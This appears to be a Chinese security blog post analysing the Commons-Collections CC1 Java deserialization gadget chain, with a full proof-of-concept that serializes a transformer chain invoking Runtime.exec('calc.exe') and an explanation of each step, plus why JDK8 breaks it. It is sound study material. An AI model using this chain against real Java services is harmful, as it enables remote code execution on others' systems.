CC1利用链分析

1
这个利用链小兄弟们都分析过了,所以我大概了解下。主要是解决我看到这个利用链的一些疑惑。这条利用链的POC如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0]
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);

//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("xxx.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("xxx.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();

问题一:什么是Transformer?

​ Transformer顾名思义是转换器,Transformer提供了一个transform方法,可以将我们传入的对象转换成其他对象。当然,Transformer仅仅是一个接口,具体转换 。

image-20210603145710604

​ 在commons-collections中,有多个Transformer的实现类,不同的Transformer实现不同的转换逻辑。

image-20210603145939944

问题二:POC中的Transformer是做什么的?

ConstantTransformer

​ 在构造方法上,接收传入的对象并保存到iConstant中,当调用transform时,无论传入什么对象,均返回iConstant存储的对象。

image-20210603150440833

image-20210603150957826

InvokerTransformer

​ InvokerTransformer则是漏洞最终触发的原因,在InvokerTransformer的transform方法中,通过反射调用任意类的任意非private方法。

image-20210603151358735

​ 假如我们想通过反射调用Runtime类的exec方法执行命令,可以使用下面的代码。

1
2
InvokerTransformer inv=new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc.exe"});
inv.transform(Runtime.getRuntime());

ChainedTransformer

​ ChainedTransformer接收一个transformer数组,通过for循环调用每个transformer的transform方法,并将前一个transformer的转换结果作为后一个转换的输入。

image-20210604092936963

问题三:如何调用到InvokerTransformer的transform方法?

思路一:直接找到某个重写了readObject的类,并且这个类里调用了transform方法

​ 我找了commons-collections中所有的readObject方法,并没有找到一个调用了transform方法的实现。

image-20210603154324813

思路二:找到一个间接调用了transform方法的类,再去看有没有readObject方法调用了那个类对应的方法

​ 首先看哪些方法里调用了transform方法,并且调用transform方法的方法名不能是transform。

​ 找到了下面的方法。

1
/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/functors/TransformerPredicate.java:72

image-20210603155206279

1
D:/程序源码/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/BeanMap.java:746

image-20210603155343226

1
D:/程序源码/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/CollectionUtils.java:625

image-20210603155403993

1
D:/程序源码/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/comparators/TransformingComparator.java:70

image-20210603155431558

1
D:/程序源码/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/functors/TransformedPredicate.java:79

image-20210603155553227

1
D:/程序源码/java/Commons-collection/commons-collections-3.1/src/java/org/apache/commons/collections/functors/TransformerClosure.java:71

image-20210603155737775

​ 太多了,实在不想手工去搞这件事情。其实这里思路总的来说还比较清晰,但是一个一个去找并且手工递归,确实比较浪费时间,终于知道为什么要搞利用链自动挖掘的工具了。如果要搞的话,直接找从transform到readObject的链,分析其中的链就好了。网上已经有大佬开发好了自动找调用链的工具https://github.com/wh1t3p1g/tabby根据需求修改就好了。

问题四:为什么不能直接调用InvokerTransformer触发?

​ 在commons-collection1利用链中,作者找到了org.apache.commons.collections.map.TransformedMap#checkSetValue--》sun.reflect.annotation.AnnotationInvocationHandler#readObject的利用链。

​ checkSetValue方法代码如下,当我们给valueTransformer传入InvokerTransformer对象,并给value传入Runtime.getRuntime()即可触发漏洞。

image-20210603180335946

​ 给valueTransformer赋值可通过org.apache.commons.collections.map.TransformedMap#TransformedMap构造方法实现。value的值取决于调用checkSetValue方法传入的参数。

image-20210603180645251

​ 在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue调用了checkSetValue,并且传入了value的值。parent的值可以通过org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#MapEntry构造器来设置。所以可以创建一个TransformedMap对象,设置到MapEntry中。

image-20210603183358188

​ 如何调用到MapEntry的setValue方法?这条利用链的作者最终找到sun.reflect.annotation.AnnotationInvocationHandler#readObject,这里虽然var5的值可以通过memberValues属性获取,但是setValue的参数是AnnotationTypeMismatchExceptionProxy类型,这显然和我们的预期不符。所以不能通过给setValue传值的方式来利用。

image-20210603195031969

​ 当然还有另一个原因,再回头看看直接使用InvokerTransformer执行命令的代码,要执行命令需要得到Runtime对象,而Runtime对象并没有实现Serializable接口,是不能通过序列化进行传输的。所以要想通过反序列化漏洞触发Commons-Collection1利用链,只能让程序在反序列化的过程中动态去生成Runtime对象进行命令执行。

1
2
InvokerTransformer inv=new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc.exe"});
inv.transform(Runtime.getRuntime());

问题五:为什么不能直接new一个AnnotationInvocationHandler对象?

​ 这里AnnotationInvocationHandler构造方法为defalut权限,只有在类内部和同一个包下,才可以调用该构造方法,因此无法通过new的方式创建AnnotationInvocationHandler对象。

image-20210604095030138

image-20210604094821863

问题六:为什么要使用ChainedTransformer?

​ 首先,这个漏洞最终能够造成命令执行,是通过反射调用了Runtime.exec方法,而且通过前面的分析,无法直接获取Runtime对象。只能在程序反序列化的过程中,生成Runtime对象并执行对应的exec方法。首先了解下正常情况下,如何通过反射获取Runtime对象并执行exec方法。

1
try {            Class<Runtime> run=Runtime.class;            Method method=run.getMethod("getRuntime");            Runtime r=(Runtime) method.invoke(null);            Method method2=run.getMethod("exec", String.class);            String s="calc.exe";            method2.invoke(r,s);        } catch (NoSuchMethodException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        }

​ 再想想org.apache.commons.collections.functors.InvokerTransformer#transform执行命令的方法。我们的输入是一个Runtime对象才能直接造成命令执行,但在反序列化中又不能传递Runtime对象,所以需要通过反射来得到Runtime对象,而我们目前能控制参数、调用方法、调用类的反射只有org.apache.commons.collections.functors.InvokerTransformer#transform方法,所以我们需要找到一种方式,能够将通过org.apache.commons.collections.functors.InvokerTransformer#transform反射调用得到的Runtime对象又作为输入传递给org.apache.commons.collections.functors.InvokerTransformer#transform,也就是可以循环调用transform的方法。

image-20210604180704500

​ 搜索了整个Commons-Collections项目,只有ChainedTransformer满足这个条件,所以可以使用ChainedTransformer将命令执行的代码串起来。

image-20210604181740785

问题七:如何使用ChainTransformer得到Runtime对象?

​ 首先虽然Runtime对象不能通过序列化传输,但是Runtime的class对象是可以作为参数传输的,所以我们可以以Runtime.class为一个起点,下一步是通过什么方式传递Runtime的class对象,再想想,我们在反序列化的过程中,可以直接控制变量的属性,至于执行某个方法的参数,我们是不能直接传进去的,只能通过控制变量的属性来间接影响调用方法传递的参数,所以我们需要找到一个transformer,可以让我们通过控制它的属性作为初始化参数。通过寻找找到org.apache.commons.collections.functors.ConstantTransformer#ConstantTransformer,可以通过构造函数对iConstant属性赋值,并在transform方法调用时返回该对象, 所以可以使用ConstantTransformer来进行初始化操作。

image-20210605102032164

​ 所以已经找到一个给org.apache.commons.collections.functors.InvokerTransformer#transform进行初始化的方法了,下一步需要通过调用Runtime的getRuntime方法来得到Runtime对象。当传入一个Class对象,我们只能调用这个Class对象里的任意方法,所以可以先调用Class对象的getMethod方法,获取getRuntime方法的Method对象,再去调用这个Method对象的Invoke方法,就可以拿到Runtime对象,再通过调用Runtime对象的exec方法执行命令,所以ChainTransformer可以这样构造。

1
Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class), //作为初始化得到Runtime的Class对象。                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//调用Class对象的getMethod方法获取getRuntime的Method对象。                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //通过调用Method的Invoke方法得到Runtime对象。                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})        };

问题八:为什么最终还可以通过setValue来进行触发?

​ 在问题四中我们分析过,setValue虽然可以控制调用的对象,但是setValue的参数无法控制,因此站在我们的角度来讲已经放弃了这条链,但是为什么可以打通呢?因为在调用ConstantTransformer的transform时,transform传入什么值,返回的都是ConstantTransformer构造方法中传递的属性,所以transform传入的参数对我们来说是无关的。

问题九:如何构造POC?

​ 首先ChainedTransformer对象我们在问题七里已经构建好了。

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), //作为初始化得到Runtime的Class对象。
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//调用Class对象的getMethod方法获取getRuntime的Method对象。
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //通过调用Method的Invoke方法得到Runtime对象。
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainTransformer chain=new ChainTransformer(transformers);

​ 参考问题四的分析,接下来我们要创建一个TransformedMap对象,并将Chains设置到该对象中,但是TransformedMap的构造方法并非Public类型,所以不能直接调用构造方法来 为valueTransformer赋值。

image-20210605105743462

​ 但在decorate方法中,会调用该构造方法,所以可以通过调用decorate来间接调用TransformedMap的构造方法。

image-20210605105902495

​ 并且调用decorate还需要传递一个Map对象,所以我们需要提前创建好一个实现了Serializable接口的Map对象,这里随便找了个IdentityHashMap。

1
Map innerMap = new IdentityHashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

​ 在看看sun.reflect.annotation.AnnotationInvocationHandler#readObject方法,我们需要将我们构建好的Map赋值给AnnotationInvocationHandler的memberValue属性,并且要给Map赋值,否则在进行遍历的时候会出错。所以还要给map赋值

1
outerMap.put("test666", "test666");

image-20210605110708972

​ 下面我们要创建AnnotationInvocationHandler对象,之前已经分析过,不能直接通过New来创建对象,并且也没有找到调用AnnotationInvocationHandler构造方法的方法,所以 只能通过反射调用来创建AnnotationInvocationHandler对象。

1
2
3
4
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到AnnotationInvocationHandler的Class对象
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//获取构造器
ctor.setAccessible(true); //设置构造器的权限
Object instance = ctor.newInstance(Target.class, outerMap); //创建AnnotationInvocationHandler实例并将outerMap赋值给memberValues属性。

问题十:如何给MapEntry的parent属性赋值?

​ 通过之前的分析,这个漏洞还有一个重点在于给MapEntry的parent属性赋值为我们构造好的TransformedMap,但是在我们构造的POC中并没有给parent属性赋值的操作,是什么时候给parent属性赋值的。

image-20210605140831584

​ 在sun.reflect.annotation.AnnotationInvocationHandler#readObject中,有如下代码Iterator var4 = this.memberValues.entrySet().iterator();会对我们传入的TransformedMap对象做处理。

image-20210605141151339

​ 首先调用了TransformedMap的entrySet()方法,而TransformedMap并没有定义entrySet方法,因此会调用TransformedMap父类,也就是AbstractInputCheckedMapDecorator的entrySet方法,这个方法会将TransformedMap对象传递给EntrySet的构造方法的第二个参数中。EntrySet会将TransformedMap对象设置到this.parent中。

image-20210605141558046

image-20210605141709529

​ 当调用org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySet#iterator方法时,会将TransformedMap传递到EntrySetIterator的构造方法中,给this.patent赋值、

image-20210605142139720

image-20210605142241893

​ 当调用next方法时,会创建MapEnry并将我们构造好的TransformedMap对象赋值给MapEnry的parent属性。

image-20210605142309628

问题十一:这条利用链为什么不能再JDK8中使用?

​ 查看JDK8中sun.reflect.annotation.AnnotationInvocationHandler#readObject方法,在该方法中,已经不会去调用setValue方法了,所以这条利用链就失效了。

image-20210605112848120